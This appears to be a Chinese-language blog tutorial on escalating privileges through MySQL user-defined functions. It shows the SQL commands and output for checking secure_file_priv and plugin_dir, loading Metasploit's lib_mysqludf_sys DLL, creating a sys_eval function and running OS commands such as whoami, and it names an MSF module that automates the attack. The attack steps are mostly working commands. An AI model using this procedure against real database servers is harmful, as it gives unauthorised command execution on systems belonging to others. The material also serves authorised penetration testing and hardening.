0%

MySQL UDF提权执行系统命令

什么是UDF库

UDF即用户自定义函数。是通过添加新函数,对MYSQL的功能进行补充,就像使用本地MYSQL函数user()concat()等。

UDF提权步骤

查看secure_file_priv的值

secure_file_priv 是用来限制 load dumpfileinto  outfileload_file() 函数在哪个目录下拥有上传或者读取文件的权限:

使用命令show global variables like 'secure%'

1
2
3
4
5
6
7
8
mysql> show global variables like 'secure%';
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_auth | OFF |
| secure_file_priv | NULL |
+------------------+-------+
2 rows in set (0.00 sec)
  • secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权
  • secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在/tmp/ 目录下,此时也无法提权
  • secure_file_priv的值没有具体值时,表示不对 mysqld的导入|导出做限制,此时可提权

secure_file_priv的值在MySQL数据库的安装目录的 my.ini 文件中配置:
tp2020111501.png

查看系统架构以及plugin目录

首先,我们分别通过@@ version_compile_os@@ version_compile_machine,来获取当前数据库及操作系统的架构情况。结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
mysql> select @@version_compile_os, @@version_compile_machine;
+----------------------+---------------------------+
| @@version_compile_os | @@version_compile_machine |
+----------------------+---------------------------+
| Win32 | AMD64 |
+----------------------+---------------------------+
1 row in set (0.00 sec)

mysql> show variables like '%compile%';
+-------------------------+-------+
| Variable_name | Value |
+-------------------------+-------+
| version_compile_machine | AMD64 |
| version_compile_os | Win32 |
+-------------------------+-------+
2 rows in set (0.00 sec)

MySQL 5.0.67开始,UDF库必须包含在plugin文件夹中,我们可以使用@@ plugin_dir全局变量找到该目录:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
mysql> select @@plugin_dir;
+-------------------------------------------+
| @@plugin_dir |
+-------------------------------------------+
| C:\phpStudy\PHPTutorial\MySQL\lib\plugin\ |
+-------------------------------------------+
1 row in set (0.00 sec)

mysql> show variables like 'plugin%';
+---------------+-------------------------------------------+
| Variable_name | Value |
+---------------+-------------------------------------------+
| plugin_dir | C:\phpStudy\PHPTutorial\MySQL\lib\plugin\ |
+---------------+-------------------------------------------+
1 row in set (0.01 sec)
  • MySQL< 5.1 版本时,将 .dll 文件导入到 c:\windows 或者 c:\windows\system32 目录下。
  • MySQL> 5.1 版本时,将 .dll 文件导入到 MySQL Server 5.xx\lib\plugin 目录下 (lib\plugin目录默认不存在,需自行创建)。

    将dll文件写入plugin目录,并且创建函数

    我们将使用lib_mysqludf_sys_32.dllDLL库,你可以在Metasploit框架中找到它。你可以使用基于系统架构的UDF库,它们在Metasploit的安装目录/usr/share/metasploit-framework/data/exploits/mysql/点击这里查看下载:

我这里做测试,就直接上传到目录中了:
tp2020111502.png
创建函数sys_eval

1
2
3
mysql> create function sys_eval returns string soname 'lib_mysqludf_sys_32.dll';

Query OK, 0 rows affected (0.00 sec)

使用系统命令

在将 udf.dll 文件写入plugin目录后,我们就可以使用 sys_eval函数了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
mysql> select * from mysql.func where name = 'sys_eval';	#查看创建的sys_eval函数
+----------+-----+-------------------------+----------+
| name | ret | dl | type |
+----------+-----+-------------------------+----------+
| sys_eval | 0 | lib_mysqludf_sys_32.dll | function |
+----------+-----+-------------------------+----------+
1 row in set (0.00 sec)

mysql> select sys_eval('whoami'); #使用系统命令
+---------------------------+
| sys_eval('whoami') |
+---------------------------+
| 172_27_0_11\administrator |
+---------------------------+
1 row in set (0.06 sec)

如果得到了数据库的用户名和密码,并且可以远程连接的话,可以使用MSF里面的** exploit/multi/mysql/mysql_udf_payload **模块自动注入。

参考链接:

https://blog.csdn.net/qq_36119192/article/details/84863268
https://blog.csdn.net/wsnbbz/article/details/104802100
https://www.freebuf.com/articles/system/163144.html